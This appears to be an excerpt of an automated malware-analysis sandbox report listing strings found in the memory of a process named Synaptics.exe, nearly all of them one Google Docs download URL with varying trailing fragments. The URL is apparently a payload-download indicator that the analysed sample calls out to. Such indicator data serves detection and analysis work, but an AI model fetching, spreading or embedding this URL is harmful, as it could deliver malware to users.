Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV1
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVN
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVP
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVmN
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWLZ
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWd
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWv
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXS
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXps
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYW
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYa
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYg
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ2
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ3W
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZnJ
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZu
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_150xNS
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_MR
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_R
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_Tm
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_e
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_wR
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada.
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaaD
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadackgr
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad0
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadh
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadadp
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadamad
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaq
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadat
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb2
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbP
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc-CH-
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcL
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcQ
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcT
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcati
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcd
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellq
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadck-cn
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.c
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.com
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcnd
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctors
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd-
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd:url0S
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddA
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddC1
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddbox-OV
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddc
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddding
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddp
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.cn0
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.comYV
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeW
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeclic
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadedown
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeightCS
Source: Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemS
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades-c
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesol
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesynd
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet$
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen6
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf3
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfu
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgR
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgb
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.
Source: Synaptics.exe, 00000003.00000002.2038723103.000000001D584000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2011273120.000000000E7D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgp
Source: Synaptics.exe, 00000003.00000002.1986453130.00000000069E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgs
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E87E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhB
Source: Synaptics.exe, 00000003.00000002.2008395928.000000000E650000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhV
Source: Synaptics.exe, 00000003.00000002.2009145795.000000000E69C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhf
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006B4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi2
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadifL
Source: Synaptics.exe, 00000003.00000002.1984356830.00000000055B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion-
Source: Synaptics.exe, 00000003.00000002.1983626889.00000000054ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaditx
Source: Synaptics.exe, 00000003.00000002.2014101336.000000000E9A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000003.00000002.2012231153.000000000E8B4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2010123381.000000000E73B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj7
Source: Synaptics.exe, 00000003.00000002.2039423119.000000001D5C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj=
Source: Synaptics.exe, 00000003.00000002.2013234441.000000000E90A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjL
Source: Synaptics.exe, 00000003.00000002.1986453130.0000000006AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjS
